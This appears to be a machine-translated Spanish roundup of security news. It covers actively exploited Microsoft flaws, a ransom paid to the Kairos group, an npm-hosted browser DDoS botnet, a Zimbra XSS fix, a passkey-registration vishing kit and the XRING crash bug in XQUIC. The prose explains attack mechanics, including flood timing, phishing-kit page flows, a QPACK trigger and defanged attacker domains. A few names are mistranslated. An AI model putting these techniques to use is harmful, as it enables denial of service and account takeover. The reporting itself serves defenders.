El desarrollo se produce cuando Microsoft envió parches para un récord de 622 fallas, incluidas dos deficiencias de escalada de privilegios en SharePoint Server (CVE-2026-56164, puntuación CVSS: 5.3) y Servicios de federación de Active Directory (CVE-2026-56155, puntuación CVSS: 7.8) que han sido marcadas como explotadas activamente.
La Agencia de Seguridad de Infraestructura y Ciberseguridad de EE. UU. (CISA) ha agregado ambas vulnerabilidades a sus vulnerabilidades explotadas conocidas (KEV), que exige que las agencias del Poder Ejecutivo Civil Federal (FCEB) apliquen las correcciones antes del 17 y 28 de julio de 2026, respectivamente.
«Después de años de relativa estabilidad, el proceso del martes de parches ha experimentado turbulencias significativas en lo que va de 2026», dijo en un comunicado Adam Barnett, ingeniero jefe de software de Rapid7. «Además del crecimiento exponencial de los informes y descubrimiento de vulnerabilidades impulsado por la IA, Microsoft está lidiando con el surgimiento de una serie de vulnerabilidades reveladas de tal manera que generan la máxima incomodidad para Redmond».
En un aviso separado, la agencia dicho es consciente de la explotación activa de múltiples fallas de SharePoint Server, incluyendo CVE-2026-32201, CVE-2026-45659y CVE-2026-56164, que permiten a los actores de amenazas cibernéticas obtener acceso no autorizado a instancias susceptibles.
«Estas vulnerabilidades afectan a todas las versiones locales compatibles de SharePoint Server (Subscription Edition, 2019 y 2016) e implican el establecimiento de ejecución remota de código (RCE) y actividades posteriores a la explotación, como el robo de claves de máquina de Internet Information Services (IIS) y la realización de técnicas de deserialización, para ganar persistencia e implementar malware», dijo CISA.
«La falla surge de la falta de autenticación para una función crítica, lo que permite a un atacante alcanzar una funcionalidad que debería requerir autorización», dijo Alex Vovk, director ejecutivo y cofundador de Action1, sobre CVE-2026-56164.
«Un atacante puede enviar solicitudes de red especialmente diseñadas para acceder a una funcionalidad que debería requerir autenticación, lo que resulta en una escalada de privilegios. La vulnerabilidad impacta principalmente la integridad del sistema al permitir acciones no autorizadas sin requerir autenticación previa o interacción del usuario. Los servidores SharePoint con acceso a Internet están particularmente expuestos porque el ataque se puede realizar de forma remota sin credenciales válidas».
Vale la pena señalar que la actualización de julio de 2026 también aborda otra vulnerabilidad de omisión de característica de seguridad crítica de SharePoint Server (CVE-2026-55040puntuación CVSS: 9,1) que un atacante remoto no autenticado podría aprovechar para eludir la autenticación en un servidor de SharePoint vulnerable y realizar operaciones como usuario o administrador del sitio de SharePoint.
«La vulnerabilidad se debe a varios problemas en el proceso de validación del token JWT», Rapid7 dicho. «Un atacante que explota con éxito CVE-2026-55040 puede realizar operaciones contra el sitio de SharePoint de destino como el usuario que identifica. Además, esta omisión de autenticación se puede encadenar a vulnerabilidades adicionales dentro de la superficie de ataque autenticada del sitio de destino».
Generalmente, las instituciones públicas siempre se niegan a asumir el pago de rescates por ataques de ransomware que exigen los actores de amenazas al comprender que eso no garantiza obtener los datos cifrados o que las copias sean destruidas y a sabiendas de que son una manera de ayudar a financiar a estos grupos.
Sin embargo, hay excepciones. Ciertos organismos, desesperados o preocupados por las consecuencias sobre los ciudadanos, acaban cediendo a los chantajes de los cibermalos. Eso es lo que pasó con una agencia pública estadounidense que fue víctima del grupo de extorsión Kairós. Tras un largo período de 28 días de negociaciones, la institución acabó desembolsando un rescate de un millón de dólares.
Según el informe de Ransom-ISAC, los delincuentes comenzaron exigiendo 3 millones de dólares, mientras que la organización afectada intentó rebajar esa cifra con varias ofertas, que fueron desde los 100.000 hasta los 430.000 dólares.
Sin embargo, los atacantes mantuvieron la presión y lanzaron un ultimátum: pagar un millón de dólares antes de una fecha límite o publicar toda la información robada.
Curiosamente, durante ese proceso, Kairos no recurrió al cifrado de los sistemas, como ocurre en muchos ataques de ransomware. En su lugar, basó toda su estrategia en amenazar con difundir los datos que aseguraba haber sustraído. Para aumentar la presión, incluso hizo referencia a carpetas especialmente sensibles, como una relacionada con la fiscalía, advirtiendo de que su publicación podría tener un gran impacto.
Según explica Ransom-ISAC, los tiempos que manejaba el organismo responden a las habituales consultas internas que se requerían para hacer el pago. «Las respuestas de la entidad afectada son coherentes con las de una organización que ganaba tiempo mientras se coordinaban las decisiones legales, de liderazgo, financieras y de comunicación», señala el informe.
Una vez recibido el dinero, Kairos envió un archivo que supuestamente demostraba que había suprimido la información robada. Sin embargo, los investigadores advierten de que esa prueba no permite verificar que los datos fueran eliminados permanentemente.
«La ‘prueba’ proporcionada no era técnicamente verificable y no debe considerarse como evidencia de que los datos robados fueron destruidos», concluye el informe. De este modo, y como suele suceder, aunque la víctima se aflojó el bolsillo para evitar una posible filtración, nunca pudo tener la certeza de que los ciberdelincuentes hubieran cumplido su palabra.
¿De qué agencia hablamos?
El informe de Ransom-ISAC oculta la identidad de la víctima por motivos de privacidad. Sin embargo, a partir de la transcripción de la negociación y otros indicios, los investigadores consideran que podría tratarse del condado de Union (Ohio), aunque no lo confirman de forma definitiva. Entre las pistas figuran nombres de archivos como Union.xlsx y union.rar, además de que la víctima se describe como «un condado pequeño con recursos limitados».
El autor del artículo añade que hizo su propia investigación y comprobó que el condado de Union reconoció públicamente el año pasado haber sufrido un ciberataque en el que se robaron datos de decenas de miles de residentes. No obstante, ni el condado ni Kairos han reconocido que se trate del mismo incidente.
Una campaña de paquetes de 148 npm disfrazados de servidores proxy web para estudiantes convirtió los navegadores de los visitantes en una botnet distribuida de denegación de servicio durante aproximadamente dos semanas en mayo, según una nueva investigación de JFrog.
Los paquetes no perseguían a los desarrolladores que podrían instalarlos. Los operadores utilizaron el registro como alojamiento gratuito para un sitio proxy con trampa explosiva y dejaron que los estudiantes que vinieron a esquivar los filtros web de la escuela suministraran el tráfico de ataque.
Los paquetes se enviaron con nombres como charlie-kirk, ilovefemboys y miguelphonk, cada uno con una aplicación proxy con la marca «Lucide» y vestida como una página de inicio de tutoría llamada Riverbend Tutoring o Northstar Tutoring.
En la superficie, el proxy funcionó, permitiendo a los estudiantes pasar los filtros de contenido para acceder a juegos y sitios bloqueados. Debajo, cargó un cargador de código remoto cuya carga útil los operadores podían intercambiar a voluntad, además de un generador de inundación WebSocket creado para hablar el protocolo proxy Wisp. Cualquiera que abriera una página se unía al enjambre sin saberlo.
Nada de esto se ejecuta en el momento de la instalación. Los paquetes no incluyen enlaces de ciclo de vida ni scripts de compilación nativos, y nunca fueron escritos para ser importados a un proyecto.
El gusano Shai-Hulud autorreplicante que afectó a más de 500 paquetes en septiembre de 2025 recopiló secretos de los desarrolladores y se volvió a publicar con tokens robados. Días antes, un ataque de phishing al mantenedor conocido como qix deslizó código de drenaje de billetera en chalk, debug y otros 16 paquetes con miles de millones de descargas semanales entre ellos.
Esos ataques se activan en el momento en que se instala un paquete y se dirigen a las personas que crean el software. Éste omite el proceso de compilación y espera en una pestaña del navegador.
Un anterior aviso de SafeDep catalogó 141 de los paquetes en mayo y leyó la operación como adware y abuso de registro: anuncios popunder, scripts de monetización de terceros y seguimiento de Google Analytics incorporados en un proxy Scramjet dirigido a estudiantes. Eso se mantuvo en lo que era visible en la superficie.
JFrog tiró del hilo más. El equipo desofuscó el paquete de entrada de la aplicación, una sola línea de JavaScript de 5,4 MB que se descomprimió en más de 20.600 líneas de código legible, y recuperó cargas útiles archivadas de Wayback Machine para reconstruir la línea de tiempo de la campaña.
Dos módulos se encontraban debajo del adware y ambos se activaban antes de que se renderizara la interfaz de React.
El primero, que JFrog llama G2es un cargador de scripts remoto y recupera el código de la forma más insegura posible. Extrae JavaScript de un repositorio de GitHub a través de la CDN jsDelivr, apunta a la rama principal mutable en lugar de una confirmación fijada, no incluye verificación de integridad de subrecursos y ejecuta todo lo que regresa con los propios privilegios de origen del sitio proxy: acceso completo a cookies, almacenamiento local y puntos finales del mismo origen.
Una política de no referencia evita que la solicitud anuncie su procedencia. Quien tenga la cuenta de GitHub detrás de ella puede cambiar el código que se ejecuta en el navegador de cada visitante cuando lo desee.
El repositorio devolvía un 404 cuando JFrog lo miró, pero una copia archivada del 30 de mayo conservaba lo que había servido: una burda inundación HTTP. Cada 500 milisegundos, el script crea una nueva cadena de un millón de caracteres y la activa como un POST sin cors en cdn.caan.edu, que JFrog identifica como el dominio público de una escuela de enfermería en Matteson, Illinois.
Las solicitudes nunca esperan una respuesta, por lo que se acumulan. JFrog registra cada visitante activo a aproximadamente 2 MB por segundo de carga, lo que significa que mil pestañas proxy abiertas empujarían alrededor de 2 GB por segundo al objetivo. Un parámetro de consulta aleatorio anula el almacenamiento en caché de los servidores proxy y no-cors omite la verificación previa de CORS, por lo que nada limita los paquetes.
El segundo módulo, I2es el más agudo. Obtiene un archivo de texto sin formato, websocket.txt, que contiene una URL de WebSocket de destino y un recuento de sockets limitado entre 1 y 1024, luego abre esa cantidad de conexiones en un bucle escalonado. La configuración archivada apuntó a cada navegador a 30 conexiones a un punto final Wisp en lunaron[.]arriba, un proxy en vivo ocupado inyectando publicidad maliciosa.
Jirón es un protocolo de Mercury Workshop de bajo costo para hacer túneles de muchos sockets TCP y UDP a través de un único WebSocket, y es una plomería común en la misma escena de proxy de navegador que estos paquetes imitan.
Una vez conectado, cada navegador configura su socket en modo binario y, cada 100 milisegundos, envía una trama Wisp CONNECT válida seguida de una trama CLOSE, ambas apuntando a localhost:1. Los fotogramas son paquetes Wisp little-endian correctos, por lo que el objetivo no es la propia máquina del estudiante. Es el servidor Wisp remoto en el otro extremo de la conexión.
Eso lo convierte en un ataque de plano de control en lugar de volumétrico. Un solo navegador que ejecute los 1.024 sockets completos puede presionar a un servidor Wisp para que asigne y elimine alrededor de 10.240 conexiones por segundo mientras escribe más de 20.000 líneas de registro en el mismo tramo.
JFrog señala que Mercury Workshop nodo-servidor-wisp abre un socket nuevo para cada trama CONNECT sin verificar si el destino es un loopback o una dirección privada, y registra cada intento. Esto agota los descriptores de archivos, inunda el almacenamiento de registros y descarta el proxy. wisp-server-node ya está en desuso; sus encargados están indicando a los usuarios exactamente esta clase de problema de seguridad y estabilidad.
Entonces, la campaña convirtió una herramienta de proxy estudiantil en un arma contra los servidores de los que dependen otros proxy estudiantiles, y apuntó una inundación separada a una escuela lateral.
La infraestructura está muy agrupada y no está diseñada para esconderse. JFrog rastreó las compilaciones hasta una organización de GitHub llamada lucideproxy cuyas cuentas se registraron con segundos de diferencia, vinculadas a un correo electrónico de confirmación en geeked.[.]Wtf y un identificador de Discord. Noventa de los 93 nombres de host de implementación que encontró se resolvieron en una dirección IP, 92.38.177[.]17, organizado por G-Core Labs.
Entre los nombres de los paquetes juveniles, un script de shell de publicación automática dejado dentro de los archivos comprimidos y un comentario «TY WAVES + CHATGPT ILY» que SafeDep encontró en el trabajador del servicio, ambas empresas leen al operador como joven. Una cuenta envió 116 paquetes en menos de 35 minutos y npm no hizo nada para ralentizarlo.
El historial de confirmaciones de JFrog describe el arco. El proyecto comenzó como simple adware en marzo, agregó el cargador remoto y el generador Wisp en una ráfaga de dos días a mediados de mayo, ejecutó la inundación en vivo contra la escuela de enfermería a fin de mes y luego eliminó los módulos maliciosos nuevamente el 31 de mayo cuando comenzaron los informes.
Una segunda ola el 8 de julio, bajo una nueva cuenta, elevó el total a 148 paquetes y envió la versión limpia y solo con publicidad. La aplicación todavía está ofuscada, todavía carga scripts de terceros desde dominios de atacantes y el cargador todavía apunta a una rama mutable. La capacidad DDoS no ha desaparecido, sólo está desactivada. JFrog señala que los operadores conservan la capacidad de rearmarlo: un compromiso con esa rama mutable, no se requiere actualización del paquete.
Desde entonces, muchos de los paquetes de la campaña han sido retirados de npm y reemplazados con el marcador de posición de seguridad estándar 0.0.1 del registro. Una verificación aleatoria realizada por The Hacker News en todas las familias de paquetes el 14 de julio de 2026 encontró que la mayoría había desaparecido, pero charlie-kirk aún ofrecía las dos versiones que JFrog marcó como maliciosas, 2.0.0 y 3.0.1.
Debido a que la amenaza se envía como una aplicación web del lado del cliente en lugar de un implante en el momento de la instalación, la solución de JFrog sigue el método de entrega.
Los administradores de redes escolares y corporativas, donde estos servidores proxy atraen la mayor cantidad de tráfico, deberían bloquear los dominios de la campaña a nivel de DNS. La monetización y los hosts de secuencias de comandos que aún alcanza la versión actual, entre ellos woofbeginner[.]com y c.vipersfutbol[.]com, son los que deben bloquear primero.
Cualquiera que haya cargado uno de los sitios proxy debe borrar el caché del navegador y el almacenamiento local y cancelar el registro de cualquier trabajador de servicio dejado por un dominio de tutoría o proxy. Los equipos cuyos entornos de compilación obtuvieron los paquetes nombrados deben extraerlos de los manifiestos y archivos de bloqueo y reconstruirlos de forma limpia. El artículo de JFrog incluye la lista completa de 148 paquetes, dominios, direcciones IP y hashes.
The Hacker News se comunicó con JFrog para obtener más detalles sobre la escala de la botnet y si el ataque WebSocket se ejecutó contra un objetivo vivo, y actualizará esta historia con cualquier respuesta.
Los escáneres de dependencias y los entornos sandbox en el momento de la instalación están diseñados para detectar el código que se ejecuta en npm install. Este código nunca solicitó ser instalado. Mientras los registros públicos funcionen como CDN gratuitos, es posible que los paquetes por los que vale la pena preocuparse sean cada vez más aquellos que ningún proceso de construcción jamás obtenga.
Zimbra insta a los clientes a aplicar actualizaciones para abordar una vulnerabilidad de seguridad crítica que afecta al cliente web clásico y que podría resultar en la ejecución de código arbitrario.
La vulnerabilidad ha sido descrito como un caso de secuencias de comandos entre sitios (XSS) almacenadas que podrían permitir que correos electrónicos especialmente diseñados ejecuten secuencias de comandos maliciosas en la sesión de un usuario. Todavía no se le ha asignado un identificador CVE.
«La actualización soluciona un problema de seguridad en el cliente web clásico donde un correo electrónico especialmente diseñado podría ejecutar código malicioso cuando se abre el correo electrónico», Zimbra dicho. «Si se explota, podría permitir el acceso a la información del buzón, a los datos de la sesión o a la configuración de la cuenta».
Las vulnerabilidades XSS ocurren cuando una aplicación incluye datos que no son de confianza en una página web sin la validación o el escape adecuados. Esto permite a los atacantes inyectar y ejecutar JavaScript malicioso en los navegadores de las víctimas, lo que puede provocar secuestro de sesión, robo de credenciales y compromiso de la cuenta.
XSS almacenado, o XSS persistente, es un tipo de falla XSS en la que el script inyectado se almacena permanentemente en los servidores de destino en una base de datos en forma de un comentario aparentemente inofensivo o una publicación en un foro, lo que hace que cualquier visitante del sitio se vea comprometido tan pronto como la página que contiene JavaScript se carga en su navegador web.
Aunque Zimbra no menciona la vulnerabilidad que se está explotando en la naturaleza, las fallas XSS en Zimbra han sido un imán de ataques durante años, y los malos actores intentaron convertir tales vulnerabilidades en armas desde diciembre de 2021.
En octubre pasado, se alegaba que una falla XSS almacenada en el cliente web clásico (CVE-2025-27915, puntuación CVSS: 5.4) había sido explotada como día cero en ataques dirigidos al ejército brasileño, aunque Zimbra le dijo a The Hacker News en ese momento que no encontró evidencia que lo respaldara.
Otras fallas XSS que han sido explotadas por actores de amenazas incluyen CVE-2023-37580 y CVE-2024-27443. Dado su alto potencial de abuso, se recomienda a los usuarios actualizar a Zimbra Collaboration Suite versión 10.1.19 para una protección óptima.
Un actor de amenazas se ha dirigido a organizaciones que abarcan múltiples sectores con solicitudes de seguridad falsas basadas en voz que incitan a los usuarios de Microsoft 365 a registrar una nueva clave de acceso de Entra con el objetivo de llevar a cabo ataques de extorsión de datos.
El actor de amenazas, rastreado por Okta bajo el apodo O-UNC-066ha implementado un kit de phishing controlado por panel que es capaz de apuntar al proceso de inscripción de clave de acceso. La actividad ha destacado las industrias de alimentos y bebidas, tecnología, salud, automoción, construcción y aviación.
«El actor de amenazas registra dominios que incorporan la palabra clave de acceso como parte de un esquema de phishing (‘vishing’) habilitado por voz», dijo el investigador de Okta, Houssem Eddine Bordjiba. dicho. «El actor de la amenaza luego llama por teléfono a los usuarios objetivo en un intento de persuadirlos de que necesitan registrar una nueva clave de acceso».
Luego, los usuarios son dirigidos a un kit de phishing que es idéntico al proceso de inscripción de la clave de acceso de Microsoft, dando la impresión de que están agregando una clave de acceso con Microsoft, cuando, en realidad, el actor de la amenaza registra su propia clave de acceso en su cuenta de Microsoft, otorgándoles acceso no autorizado.
El desarrollo coincide con Microsoft permitiendo a los administradores configurar campañas de registro para empujar a los usuarios a registrar claves de acceso durante el inicio de sesión en un intento de ayudar a las organizaciones a impulsar la adopción de claves de acceso a escala. En otras palabras, los actores de amenazas están abusando del proceso de actualización de seguridad resistente al phishing como un señuelo para registrar sus propias claves de acceso en las cuentas de las víctimas y facilitar las actividades de seguimiento.
«El operador puede utilizar el kit para adaptar la experiencia del usuario a los requisitos MFA de cada víctima (TOTP, notificación push con coincidencia de números, SMS OTP) durante la sesión», dijo la empresa de seguridad de identidad. «La persona que llama puede controlar y ajustar en tiempo real qué páginas de phishing y notificaciones ve un usuario objetivo».
Se sospecha que el actor de la amenaza está aprovechando el kit para hacerse cargo de la cuenta de la víctima y engañar al usuario para que apruebe un registro de una clave de acceso iniciado por el atacante. No hay indicios en este momento que sugieran que el kit esté redirigiendo a los usuarios a proveedores de identidad externos como Okta.
La secuencia completa de acciones se encuentra a continuación:
La primera página del kit de phishing (/gate) muestra un icono de carga de página mientras el kit de phishing realiza comprobaciones antianálisis en segundo plano.
La segunda página (/identify) solicita un nombre de usuario.
La página siguiente (/contraseña) solicita al usuario una contraseña.
Las credenciales recopiladas se envían en una solicitud POST a un panel del operador en «/backend.php».
El operador del kit de phishing (probablemente diferente de la persona que llama a la víctima) ingresa las credenciales robadas en la página de inicio de sesión legítima de Microsoft para el inquilino objetivo.
La víctima ve una página «/procesamiento» que muestra otra pantalla de carga mientras espera las instrucciones del operador basadas en los desafíos de MFA observados que se les presentan en el flujo legítimo.
La siguiente página del kit de phishing se presenta al usuario: «/submit-otp» para un desafío de contraseña de un solo uso (OTP) basado en SMS, «/submit-authenticator» para un desafío OTP basado en tiempo, o «/approve-authenticator» para un impulsar el desafío MFA.
La OTP capturada se envía en una solicitud POST a «/backend.php».
En este punto, la víctima ha sido engañada por teléfono para que apruebe el acceso del atacante a su cuenta de Microsoft 365. Luego, la cadena de ataque inicia otro conjunto de acciones centradas en el pretexto de la clave de acceso:
La víctima es redirigida a la página «/contraseña/registro», que le indica al usuario que cree una clave de acceso.
La página «/passkey» de Microsoft solicita al usuario que guarde su clave de recuperación para confirmar su clave de acceso.
La página «/passkey/check» solicita al usuario que verifique la última palabra utilizada en la frase inicial.
La página «/done» confirma que el registro de la clave de acceso se realizó correctamente.
La clave de recuperación contiene una serie de 12 palabras que es similar a una frase de recuperación secreta o una frase mnemotécnica típicamente asociada con billeteras de criptomonedas. Se considera que el paso es un mecanismo de distracción para mantener a la víctima ocupada con la tarea, mientras registra su propia clave de acceso en la cuenta de Microsoft.
«El kit de phishing parece aprovecharse de la falta de familiaridad del usuario con la autenticación mediante clave de acceso», explicó Okta. «En una ceremonia real de registro de clave de acceso, el usuario podría esperar un cuadro de diálogo del sistema para registrar una clave de acceso en su dispositivo. Las páginas de clave de acceso en este kit de phishing parecen imitar este proceso sin registrar una clave de acceso».
Okta señaló que un actor de amenazas vinculado a O-UNC-066 ha estado operando un sitio de fuga de datos desde abril de 2026 con el nombre de Pink. La Unidad 42 de Palo Alto Networks está rastreando este grupo como CL-CRI-1147, describiéndolo como afiliado a un colectivo descentralizado de cibercrimen conocido como The Com, del cual forman parte Scattered Spider, ShinyHunters y LAPSUS$.
Una sola variable incorrecta en una línea en XQUIC, la biblioteca QUIC y HTTP/3 de Alibaba, permite que cualquier cliente remoto bloquee el servidor con una breve ráfaga de tráfico completamente legal. No hay ningún parche.
Sébastien Féry, investigador de FoxIO reveló la falla el 8 de julio y lo apodó XRING. Dice que no necesita inicio de sesión ni paquetes con formato incorrecto: alrededor de 260 bytes de tráfico QPACK normal desactivan el proceso del servidor.
XQUIC es de código abierto, por lo que el riesgo no es solo de Alibaba: cualquier servidor que lo incorpore y sirva HTTP/3 con la configuración QPACK predeterminada está expuesto. Eso incluye Tengine, el servidor web basado en Nginx de Alibaba, que según FoxIO está al frente de la nube y CDN de la compañía en sitios como Taobao y Alipay.
Todas las versiones hasta la v1.9.4, la más reciente, se ven afectadas. No hay ninguna versión fija ni CVE a partir del 10 de julio. Hasta que se envíe una solución, los operadores pueden establecer SETTINGS_QPACK_MAX_TABLE_CAPACITY en 0, lo que desactiva la tabla dinámica de QPACK, o eliminar por completo el soporte HTTP/3.
El error radica en cómo HTTP/3 comprime los encabezados. Para evitar enviar el mismo encabezado (por ejemplo, agente de usuario) una y otra vez, HTTP/3 usa QPACK. Mantiene una tabla compartida que el cliente le indica al servidor que cree y cambie de tamaño a través de un canal de control dedicado, el flujo del codificador.
XQUIC almacena los bytes de esa tabla en un buffer de anilloun bloque fijo de memoria donde los datos se ajustan desde el final hasta el principio una vez que se llenan.
Cuando el cliente solicita hacer crecer la tabla, XQUIC asigna un búfer más grande y copia los datos antiguos. Esa copia tiene cuatro casos, dependiendo de si los datos se ajustan en el búfer antiguo, en el nuevo, en ambos o en ninguno. En uno de ellos, el código dimensiona los datos de cola sobrantes con respecto a la capacidad del nuevo búfer más grande en lugar de la del anterior. Se sobrecuenta mucho.
Haga crecer una tabla de 64 bytes con el cursor de escritura cerca del final y cambie el tamaño a 65, y XQUIC decide que hay 70 bytes finales para mover cuando en realidad hay 6.
Ese número incorrecto fluye hacia una copia de memoria. La longitud de la copia proviene de restar el recuento excesivo de un valor menor. Debido a que esa longitud es un size_t sin firmar, se desborda y se ajusta a un número casi máximo, y la copia se ejecuta hasta el final de la memoria.
En la versión de lanzamiento de FoxIO en Ubuntu 26.04, _FORTIFY_SOURCE=2 de glibc detectó la longitud incorrecta y finalizó el proceso. Sin esa verificación, la copia escribe fuera de los límites, desde el búfer antiguo más allá del final del nuevo. Féry mostró un fracaso, pero no probó si esa corrupción podría explotarse más.
Ninguno de los valores del ataque infringe las reglas de QPACK. XQUIC anuncia un límite de tabla dinámica de 16 KiB de forma predeterminada; la carga útil solicita 64 bytes, luego 65. El cliente solo tiene que conducir la tabla al diseño ajustado exacto que llega a la rama defectuosa. FoxIO dice que el error ha estado en XQUIC desde su primer lanzamiento público en enero de 2022, y una prueba de concepto es público.
XRING es el último de una serie de fallos remotos en pilas HTTP/2 y HTTP/3. Tres semanas antes, THN informó un uso después de la liberación en el módulo HTTP/3 de NGINX (CVE-2026-42530) al que un cliente remoto y no autenticado podría acceder a través del mismo flujo de codificador QPACK, abusos XRING, una clase de error diferente en la misma superficie de ataque.
En junio, la bomba HTTP/2 de Calif provocó una denegación remota de servicio contra Nginx, Apache, IIS y Envoy al abusar de HPACK, la compresión de encabezados de HTTP/2 y el predecesor de QPACK.
En febrero, HAProxy parcheó dos fallas de QUICuno de ellos, un desbordamiento insuficiente de enteros durante la validación del token, el mismo tipo de error detrás de XRING, aunque necesitaba un paquete con formato incorrecto donde XRING no necesita ninguno. Esa diferencia es el punto: entrada legal, un error aritmético, un servidor muerto.
FoxIO demostró una falla, no una ejecución de código, y no informó ninguna explotación en la naturaleza. Dice que envió un correo electrónico a Alibaba el 7 de abril a través de la política de seguridad del proyecto, que promete una respuesta dentro de tres días hábiles, y luego hizo un seguimiento cuatro veces más hasta el 9 de mayo sin respuesta antes de hacerse público.
Hacker News ha preguntado a Alibaba si habrá una solución y un CVE, y si los cinco intentos de divulgación de FoxIO llegaron a su equipo de seguridad. Le ha preguntado a FoxIO si la falla ha sido explotada en la naturaleza y si la escritura en el montón subyacente puede superar una falla. La historia se actualizará con cualquier respuesta.
